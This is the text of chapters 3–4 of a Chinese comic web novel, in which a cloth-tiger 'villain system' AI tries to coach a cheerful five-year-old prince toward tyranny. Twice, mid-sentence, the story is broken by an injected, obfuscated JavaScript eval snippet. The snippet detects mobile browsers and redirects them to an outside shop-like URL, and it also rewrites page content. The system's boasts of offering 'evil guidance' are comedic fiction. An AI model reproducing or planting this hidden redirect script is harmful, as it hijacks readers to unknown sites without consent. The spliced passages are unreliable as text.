《昏君,但只有五岁》 3. 励志当昏君的第三天: 是的,闻茂茂觉得他的布老虎有些坏掉了。 因为它过去可不会说话。 在大太阳底下被晒得脑浆都快搅成一团的新手系统666,跟着闻茂茂略显奇怪的逻辑走了下去:【就不能是我突然学会说话了吗?】 “那为什么别人听不到?”不管是减兰还是其他人,都没有听到小老虎初来乍到的那一句“你好”。 【因为只有你是我绑定的宿主啊。】 小小的郎君,大大的疑惑。布老虎说的每一个字闻茂茂都能听得懂,但合在一起就组成了他无法理解的意思。素珠?素珠是什么?能吃吗?好吃吗? 666可耻地屈服了:【……因为我比较笨,还没有学到那一步。】 逻辑终于自洽,闻茂茂恍然,那很合理了。 在阿婆从庙会上把布老虎买回家的三年半后,他的小老虎终于学会说话啦!虽然说的目前只有他能听懂,但也已经很厉害了!鼓掌! 666趁着小朋友松手,一个箭步就越上了高墙……中间的什锦窗,站在纹理复杂的宝瓶窗底,用它辟邪朱砂点就的眼睛平等的睥睨众生。 清了清嗓子,系统开始发表“重大讲话”:【一如我之前介绍过的,我是恶贯满盈系统。我的核心使命就是助力每一个昏君梦想。虽然我目前还在实习期,准确地说是刚刚上岗,很多事情我也是头一回。但是请相信我的专业性……】 【我可是出厂便自带上下五千年文明资料库,拥有亿万token的超绝算力,由主脑倾力打造的超级AI小助手。】 【而您,就是被我选中的一代暴君。虽然没有我您也会成为昏君,但是如果有了我,想想看吧,您的为恶天赋加上我的聪明才智,我们一人一统携手,终将天下无敌!啊,无敌,是多么寂寞~】 小老虎的一番激情演讲,却只换来了身着春衫的稚童满脸茫然。 布老虎看看闻茂茂,闻茂茂看看布老虎。最终,小朋友眨了眨眼,觉得头仰久了有点酸,先低头活动活动吧。 啊,树下有蜗牛欸! 666:【!!!不要走神啊喂!】 闻茂茂却振振有词:“你说的我又听不懂。”在听小老虎哇啦哇啦和看蜗牛爬树之间,他自有选择。 【您是从哪句开始听不懂的呢?】卧龙系统的服务态度目前还是很良好的。 凤雏茂诚实作答:“从第一句。什么叫恶贯满盈啊?” 布老虎不可置信,布老虎大受震撼,卡了足足三十秒才重新找到发声系统:【恶贯满盈一词出自《尚书》:“商罪贯盈,天命诛之。”意思就是说,为非作歹的大恶人,做的坏事实在是太多,就像串钱的绳子一样满了。举例造句:这个恶贯满盈的罪犯终于得到了法律的制裁。】 【来之前其他系统就告诉我,新手实习一般都是easy模式,没想到您昏君昏得如此专业,连这么简单的成语都不知道。】威风堂堂的小老虎一副天助我也、大事可成的胜券在握,【您简直就是天赋型选手啊,宿主!】 一款天赋型的闻茂茂依旧脑袋空空。 不过没有关系,至少他听懂了小老虎的语气是在夸他。 五头身的小朋友昂首挺胸,自我肯定的点点头,没错,我就是这么棒!从小到大,从阿婆到忠叔,就没有不夸我的! 666上扬的唇角真的很难压,两腮用彩线缝制的胡须一翘一翘的:【我相信不需要多久,我们就可以恶史留名了。】 【下面是我能够为您做的: 【虽然从我出现的那一刻起,我的权限就不可以再查看您与您所在时空的历史了,我的相关记忆也进行了模糊化处理,但是我可以归纳并总结其他朝代昏君的先进经验,为您提供专业的为恶指导。 【不管是多么超越想象、无理取闹的荒唐娱乐,还是让旁人看不惯我们但又杀不死我们的诡谲手段,在我的逻辑模型中都应有尽有,可以为您长远的亡国计划保驾护航。 【我还会时不时的为您提供阶段性的目标奖励,品类丰富,不限古今。 【系统666在此郑重承诺,我将高效、专业地协助您完成这份昏聩大业,直至您成为冠绝古今、人见人怕的知名大暴君!】 这么一长串不间断的专业名词砸过来,自然不可能让一个生理上平均注意力只能维持在10到15分钟左右的孩子有多关注。 当系统从自己的艺术里回过神来时,看到的就只有闻茂茂乌黑闪亮的头顶了。细软的发丝,Q弹的侧脸,都在逆光中被镀上了一层金边。束起的稚童发髻在脑后微微隆起,有些地方偏紧实,有些则松散的仿佛下一刻就会垂落,一看就是小朋友疯玩一天的成果。 666略显疑惑地卡顿了一下,历史上的第一暴君这么小的吗?是不是有哪里不对? 至少和它最初计划里的“自己闪亮登场,与知名暴君一拍即合,穷山恶水双子星从此双剑合璧”有一些些出入。 好吧,是亿些。 不等系统再继续细想,闻茂茂已经举起了自己走神的成果:“看!我叠的小船!” 嗯,这一会儿的功夫,手艺人闻茂茂就已经用不知道从哪里来的彩色宣纸,手指翻飞地叠出了一只通体气派的乌篷小船。折痕清晰,棱角分明,是他的得意之作。 他决定将其命名为“茂茂十号”。 666开始有点慌了,但它还在自欺欺统,一边安慰自己“反派都是这样的,比较自我,只会外耗别人,这是好事”,一边不信命的试图把话题重新拐回正轨:【以宿主在历史上罄竹难书的丰功伟绩,这些对您肯定是小菜一碟,我相信您在岐阳年一定能再创辉煌!】 终于有闻茂茂能听懂的部分了,他先是万分珍惜的把小船揣入袖子的口袋里,然后才不紧不慢的表示:“但现在不是岐阳年哦。” 【……?】 “今年是嘉德三年。”闻茂茂入京前,忠叔专门教他用官话背了好久呢,“今天是嘉德三年四月二十三,岁次丙午,孟夏清和——” 每一个音发的都是那么的字正腔圆,雅正准式。只是这稿子背起来是一整套的,每一次开始了,就没办法停下,闻茂茂一定会从头到尾背一遍。 “——臣闻茂茂,太-祖六世孙,恭请陛下圣安。” 背完,闻茂茂还不让忘用眼神示意他的小老虎,下面该你了。 我什么? 当然是继续问作为龙兴之地的老家江左如今发展得怎么样啊,那边的宗亲还好吗?百姓呢?或者至少得问问天气吧?忠叔当初不敢用陛下的口吻直接问,还演了半天传达圣意的公公呢,演的可像啦。 闻茂茂也跟着背了很多一套套的小词,什么风调雨顺,国泰民安,老家的宗亲和百姓都在感念陛下恩德,想为国尽忠呢。 可惜,666并没有像忠叔那么能配合,它既不会接固定句式,也不会硬着头皮夸闻茂茂的官话又精进了几分。 此后的一天多,这个不太聪明的新手系统都没有再说过一句话。 因为它已经自闭了。 它竟然定位错了时空,上班第一天就搞了这么大一个乌龙。如今还不是大启末帝已经大杀特杀的岐阳年,而是末帝刚被英宗收养的嘉德年,反派三岁半……这要怎么当昏君啊?布老虎晴天霹雳,如丧考妣。 闻茂茂对于系统的突然安静倒是适应良好,毕竟他的小老虎此前的三年多都并不会说话。 在没有系统的日子里,小朋友依旧按部就班地生活着。 每天都可忙啦,忙着吃饭,忙着睡觉,忙着无所事事的爽玩一整天。顺便偶尔还要思考一下,天上的白云为什么不会掉下来,空中的微风到底有没有形状,以及晚上的月亮是不是喜欢我,不然怎么总是跟着我? 是的,故乡的月亮也跟着他来了京城。 他可真厉害! 翌日。 闻茂茂这一天甚至要比平日更忙些,因为除了每天的固定安排,他如今还多了一个“试衣服、换衣服,并在循环往复不知道多少次后决定最终穿搭”的环节。 黄花梨的朝服架前,堆堆叠叠着几套内务府临时送来的衣袍,掌事姑姑减兰最终还是替自家殿下选了第一套。 绯红织金的常服,圆领窄袖,玄色滚边,腰间束着宫中贵人常见的制式革带,还有一件以防春寒料峭的缂丝褂衫。 作为三位新晋殿下中最没有身份背景,不要说宫中了,在朝中和京中都没什么人脉的闻茂茂,哪怕皇帝已经下了明旨,他能够分到的东西也就是这样。不会差到哪里去,但也不会多好多用心,主打一个按照标准来。 这样的“标准”在对比头所、二所两位的待遇后,那真是惨不忍睹。 头所住着吴王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484080|201918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙,自幼长在富庶藩地,食不厌精脍不厌细的长大,入京后生生用钱砸出了一条通天路;二所的殿下是秦王子,据说他的奶公就在内务府的广储司当差,负责皇室的一应物资储备与调度,缺了谁的好东西,都不可能缺了二所的。 只有她家殿下什么都没有。 但小朋友每天依旧活的很开心,认真履行着与忠叔要吃好喝好的约定,完全没有察觉到他的待遇与旁人有什么不同。毕竟他在入京前,全家上下也就能勉强凑出做一套衣服的好料子,还是早已经不知道在雍畿过气多少轮的。 减兰看着始终一团和气的殿下,心疼得不行,却也无能为力。 她但凡在宫中有些门路,就不会被打发来伺候三位殿下中最没登基可能的闻茂茂。 当然,减兰也并不后悔接到这份差事就是了。事实上,看着眼前不谙世事但待下十分宽厚的小小殿下,她甚至是庆幸的,在自己还有十年才够放宫年龄的时候,先遇到这么一位和气的郎君。 这也是为什么她在这天提前引着殿下到了交泰殿后,当昔日有些交情、如今在皇后跟前当差的女官来拜托时,没有第一时间拒绝的原因。 他们到的实在有点早。交泰殿的宫人还在循序渐进的进行着准备。 这些皇后身边的宫人内侍也没有怠慢闻茂茂。就是人手实在是有些不够——当今陛下为了彰显仁慈,提前放了一批宫人归家,又吝招新人,导致宫中如今办事的人严重不足,一个人一天十二个时辰不睡觉都未必够用——在匆匆把闻茂茂安置在偏殿后,相熟的女官便多嘴问了一句减兰现在有没有空。 减兰以前不爱这样奉承人,和大多数宫人都保持着不会交恶,但也不算亲近的关系,如今……她看了眼乖乖坐在太师椅上,努力克制自己晃脚冲动的闻茂茂,突然想要试一试。 为了她家殿下。 如果一定要在后宫诸位贵人中选一个靠山,那出身世家的裴皇后无疑是最好的选择。 裴皇后为人清贵端方,行事珠规玉矩,虽然过分守礼,但只要不行差踏错,那她就不会刻意为难。甚至这位自幼信佛的娘娘是众所周知的处事公允,赏罚分明。 她不求皇后宫里的女官能多为她家殿下美言,也不敢奢望皇后能怎么样的偏之爱之,只想要一个公平。 至于其他后妃,一如跋扈的霍贵妃之流,他们惹不起,还躲不起吗? 小朋友也很配合,对不放心的减兰连连重复忠叔曾三令五申叮咛的三不原则:“陌生人给的东西不能要,陌生人给的点心不能吃,陌生人的搭话不能信!”要是被拍花子的拍走了,他就再也见不到忠叔和减兰啦。 减兰的心终于稍稍放下了些,在又吩咐了一遍这次跟着一起来的小太监“一步也不许离开殿下”后,这才终于跟着女官离开了。 一切都很顺利,一直到她回来之前,都没有横生什么枝节。 就是减兰听到了一个消息,霍贵妃这次不知道为什么也提前到了。 生恐冲撞贵人的减兰,忙不迭的想要赶回来带自家殿下换个地方歇息。这就是你帮我、我帮你的好处了,那位得了减兰帮忙的女官指了个贵妃绝对不会去的角落给减兰。 但是很可惜,减兰还是来晚了,她还没有来得及迈过偏殿到小腿高的红木门槛,就先看到了她家殿下站在霍贵妃边的小案旁,踮起脚,伸出手,往这位雍畿第一美人眼前掏小船。 不要陌生人的东西,不代表不可以给陌生人东西。 况且,在闻茂茂的世界里,眼前的漂亮姨姨可不是陌生人,他们之前就认识啦。 小朋友就像蚂蚁搬家似的,从袖子口袋里一个接着一个的拿出了他好不容易才叠好的乌篷船。 为了方便装下,闻茂茂都是把它们沿着折痕压扁之后再存放的,如今正在挨个复原。在这方面颇为心灵手巧的小朋友,将颜色迥异、造型同样别致的茂茂一号到十号在红木案上依次排开。 他说:“你好,我来交货。” 这是他之前答应漂亮姨姨的回家路费。 她与他拉钩,当他叠好五艘乌蓬小船的时候,她就会让陛下送他回家。 五艘是他的船票,五艘是减兰的。没有人会不想念自己的家乡。当然,如果减兰不想回去面对卖了她的爹娘也没有关系,他会问她想不想跟他回江左,他们江左也可好玩啦~ 4. 励志当昏君的第四天: 减兰听到这话,第一反应就是命都想给了她家殿下,第二反应才是诧异,殿下是何时遇到的霍贵妃,又是怎么做下的这般约定。 而很快,她就从记忆中找到了答案。 ——六天前。 晾了宗亲子侄十几日的皇帝,终于表示龙体稍安,召诸子于长乐宫觐见。 闻茂茂那天也是被减兰提前很是梳理打扮了一番,只不过当时他们的条件还不如现在,闻茂茂身边的人手除了他从江左带来的小川哥外,就只有减兰这个被内务府临时分配来照顾宗亲的宫人。她亲力亲为,很努力的在闻茂茂有限的衣裳里,搭配出了无限的可能。 料子也许不是最好的,款式也不是当下京城最时兴的,但至少减兰可以保证她家郎君是所有宗亲子侄中最好看的。 这与减兰生性低调的为人处世风格有些冲突,可这毕竟是闻茂茂第一次面圣。 而人们总是会对长相好看的小孩多些宽容。 也是因为闻茂茂长得实在好看,当时养在五王府的幼龄宗亲足有二十几个,可在孩子群中一眼望去,目光只会被闻茂茂牢牢吸引。他哪怕不怎么刻意装扮,也比其他宗亲突出。 减兰在宫中侍候多年,对今上的性格还是有些了解的,好比他的敏感多疑,也好比他的极爱面子。小朋友本可以足够突出,如果面圣这天没有,那就会被他解读为对他的不够尊重,是对皇权的蔑视。 这简直是强盗逻辑,可这就是掌握着至高权力的天子,生杀予夺不过在他一念之间。 减兰不想闻茂茂出事,就只能帮他想些“歪门邪道”了。 闻茂茂那天其实完全不知道他们要去干什么,只模糊有个陛下召见的印象。 他穿着减兰精心搭配的衣裳,站在一群金尊玉贵的孩子中,听着他们叽叽喳喳的讨论,终于要去皇宫了,终于能够见到陛下了。 闻茂茂也是在这个时候才意识到,原来他这段时候生活的五王府不是皇宫啊。 五王府,不是排行第五的王爷的府邸的意思,而是一个众多王府聚在一起的建筑群。因最一开始在此抚养的藩王有五位而得名。 大启皇室有段时间不知道为什么,非常迷信六岁以后的皇子就不能养在宫里,说是要多接地气,方能长命百岁。皇子年幼,出宫之后还无法就藩,便暂时养在了宫外的五王府。 闻茂茂等宗亲刚刚入京城时,也便遵循旧例,被先安置在了这里。 闻茂茂不知道这个接地气的讲究对不对,他只知道这个占地不知道多少亩的王府群,看起来也不像是很能接到地气的样子啊。 其规模之大,已经堪比一座小城。位于雍畿显贵聚集的东北角,寻常百姓不要说过来了,站在远处高楼上望下看,多看一眼都觉得是冒犯。 闻茂茂从小到大不要说住了,他连见都没有见过这样的地方。他之前只听小川哥说,皇宫是皇帝的居所,是全天下最大的宅邸,便以为大的没边的五王府是皇宫了。 万万没想到,五王府在皇宫面前也只是小巫见大巫。 那真正的皇宫得有多大啊? 他是这么想的,也是这么问的。 闻茂茂这么问的时候,搭乘着二十几个孩子的马车,已经一辆辆的直接从宫城后面的玄武门被特许长驱直入,拉着他们抵达了长乐宫外。 闻茂茂出声后,就招致了不少宗亲世子的嘲笑,其中笑的最狠的就是吴王的长孙,他自觉是领头羊,站在所有孩子的最前面。全身珠光宝气,被打扮的宛如一个珠宝展示台,他说:“瞧你那没见过世面的样子。” 这位吴王孙叫闻蒙正,蒙以养正圣功也的蒙正。他很喜欢在闻茂茂面前说些莫名其妙的话,好比第一次见面时明明还笑语盈盈的,就因为闻茂茂后来和秦王长子闻关站在一起,便开始鼻子不是鼻子,眼睛不是眼睛。 早上入宫前他还特意来了一趟闻茂茂的小院,很是嫌弃的评价了一番他家当的寒酸,但说完了也不走,只一个劲儿的展示着他身上过多的说是自己根本用不完的饰品。 闻茂茂不明所以,只茫然的看了回去,说了一句:“哦。” 吴王孙没能达成目的,气急败坏的来了句:“闻关那个没有娘的家伙,能给你这些吗?” 闻茂茂只觉得这样说旁人不好,还在措辞呢,闻蒙正已经先因为一直得不到回应而被气了个半死,撂下一句“闻关病了,今天不去面圣,你到时候御前出了差错,可不要指望我来救你”就愤愤的跑走了。 而如今,闻茂茂就像当时不知道该如何回答一样,只是认真的回了一句:“我没有见过京城的世面,你没有见过我们江左的世面,我们扯平啦。” “哈?”闻蒙正被说了个一脸懵逼,大概他这辈子也不会想到还能这么扯平。这位战斗力其实也不是很行的吴王长孙,好一会儿才重新组织语言道,“谁、谁要去你们那个穷乡僻壤啊?”除非…… 闻茂茂已经一脸惊讶的回答他:“太-祖啊。我们江左是龙兴之地,是太-祖他老人家的老家哦。你连这个都不知道吗?” 那肯定知道啊。 谁会不知道自己的老家在哪里? 闻蒙正无语的发现,闻茂茂这样他找茬都说不出来的话,是发自真心的以为他不知道,还准备帮他突击背一下,以免陛下问起。 “……”闻蒙正都不知道该说什么了,看起来对欺负傻子全然没了兴趣。 这一幕让早已经陪皇伴驾、观察这些宗亲郎君表现好久的霍贵妃直接笑出了声。 所有人都没有注意到,只有闻茂茂似有所感的回头,在仿佛比一千只鸭子还要吵闹的长乐宫现场,于人群之后,看到了那个隐在纱帘后若隐若现的漂亮姨姨。 双目对视的霎那,她对他笑弯了一双眼睛,满头的珠翠都不及那霎的风华。 后面就是正常的面圣环节了。 见礼,问安,回答几个简单的问题。 歪坐明堂的皇帝几乎全程都没有怎么说话,整个交流都是由他身边的秉笔太监代为传达完成的。 偌大的宫殿在压迫感极强的皇帝冷不丁的现身后,便在顷刻间陷入了窒息一般的沉默里,只剩下了那一抹明黄起起伏伏的咳嗽,以及刚刚最吵的几个孩子被吓白的小脸。大家战战兢兢的跪伏在地,连哭都不敢。 只有闻茂茂始终状况外,大大方方上前背完忠叔所有的准备之后,就开开心心的站去了队尾,打量起了门外对面宫殿顶上的脊兽。 闻茂茂不知道自己那天的表现如何,也不关心,只记得见完陛下之后,这一天最重要的事情总算开始了——吃饭。 身体抱恙的陛下并没有参与,闻茂茂和吴王孙闻蒙正是唯二得到了天子额外赏菜的孩子。 要闻茂茂说,这个赏菜可真麻烦啊,菜色未必是他爱吃的,但他却还是必须得先离席,心怀感激的去殿外领旨谢恩,才能再回来继续吃饭。 谢完恩,闻蒙正就被他祖父的人叫走了,也不知道去了哪里,只有闻茂茂被引路的小太监准备送回偏殿。他在路上问他:“大殿顶上那个骑鸡的小人是什么啊?” 这样的童言童语,再次引得贵妃霍寒光笑的花枝乱颤。 她当时正准备从偏门偷偷离开,没想到正与闻茂茂撞个正着,也就随口回答了小朋友的奇思妙想:“那不是骑鸡小人,是脊兽中的老大,骑凤仙人。” 今年内务府打造的金锞子正好就是脊兽模样,拇指大小,十二个为一组,十组为一袋。模样十分别致,霍寒光随手抓出一把,将它们放到了眼前漂亮小孩的手里。 “看,这就是仙人,在屋顶上可以防止瓦顶生锈,在你口袋里可以保佑你逢凶化吉。” 霍寒光很多年后对她二哥坦白,她其实根本不会教孩子,只会一味的溺爱。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484081|201918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是孩子本就是个好孩子,才显得她在教育方面颇有建树。 这样的好在他们第一次见面时便已经初露端倪,她给了闻茂茂一把小人“玩具”,闻茂茂也回了她一艘漂亮的小船。 霍大小姐当了这么多年散财童子,还是第一次当下就看到回头“钱”的。 那是闻茂茂的得意之作,两头尖尖,中间鼓,整个乌篷船都被折的惟妙惟肖。 他跟她说:“我就是坐着这样的小船离开江左的,等我后面从京城回家找忠叔,大概也是要坐这样的小船的。” “你想回家?京城不好吗?”霍寒光诧异。 小朋友摇摇头,又点点头:“雍畿很好,但我们江左也不差。” 于是,他们在长乐宫的廊下拉钩上吊,约定好等闻茂茂叠好五艘小船,就送他回并不比雍畿差的江左。 这也是闻茂茂后来会如此笃定自己会回老家,是大家搞错了的原因。 因为他已经和姨姨说好了呀。 时过境迁,闻茂茂还在满怀期待。但他实在是太小了,小到不明白为什么当初长乐宫里的漂亮姨姨会对着他的小船发笑,也看不懂如今交泰殿前,风华万千的霍贵妃看他的双眸中浓的快要化不开的歉意。 她本以为淘汰闻茂茂,送这个有意思的小孩回家不过就是一句话的事。 但是…… 她如今只能充满歉意又小心翼翼的对闻茂茂说:“你回老家是为了忠叔,姨姨帮你把他接来京城与你团聚,好不好?” 霍寒光已经做好了孩子会哭的撕心裂肺,不依不饶,说她言而无信的心理准备,也做好了自己哪怕说了一箩筐补偿的承诺,对方也无动于衷的焦头烂额。 但霍寒光万万没想到,她等来等去,等到最后只是闻茂茂开开心心的一句:“好呀。” 他答应了。 他就这么不哭不闹,轻轻松松,没有任何附加条件的答应了。 这要是换她表姐家那个小魔星,不闹个天翻地覆、日月无光才奇怪呢。 “你,这就完啦?”霍寒光缓动钗环。 但闻茂茂情绪依旧稳定,甚至很有规划的表示:“你是不是不知道我家在哪里?我告诉你哦,你跟我学,我家在金陵省江左市明知山……很快就能背下来,不怕找不到家了。” 到底是谁怕找不回家,还真是好难猜啊。 一直到闻茂茂被身边的掌事姑姑请罪带走,霍寒光都还处在一种不可置信与不好意思交织的复杂情感里,整个宴会她不自觉看了闻茂茂好几次,而每一次这孩子不是在吃饭就是在走神,反正看起来开心极了,是真的没有因为她的失约而有一点负面情绪。 怎么会这么好性儿啊? 一辈子要强的霍贵妃觉得这样可不行,你要是一直这么好欺负,就会一直被欺负! 说闻茂茂完全不伤心,那肯定是不可能的,毕竟他期盼了那么久,又等待了那么久,可是小朋友转念一想,能带忠叔亲眼看看京城的繁华,肯定要比他干巴巴的讲述更好啊。 更何况…… 之前一直心如死灰的布老虎666再次上线,这个恶贯满盈系统在作恶方面到底有没有几把刷子暂时还不得而知,但它看起来应该蛮有育儿能力的。 它察觉到小朋友情绪值低,第一时间就放了个只有闻茂茂能看到的动画片给他。 土生土长的古代小孩闻茂茂哪儿见过这种降维打击,当下就看着会动的小人画看如痴如醉。 等小孩哄好了,666也已经差不多哄好了自己,它深吸一口气,告诉自己,事已至此,没有什么是不能推进的,它说:【没关系,嘉德年就嘉德年,提前开始为非作歹,也不失为一桩恶事。您先跟我说一下,您进行到了哪一步,我才好帮助您加快登基进程。】 根本没看够的闻茂茂对此只有一句话,叽里咕噜说什么呢,先放个小人画看看实力!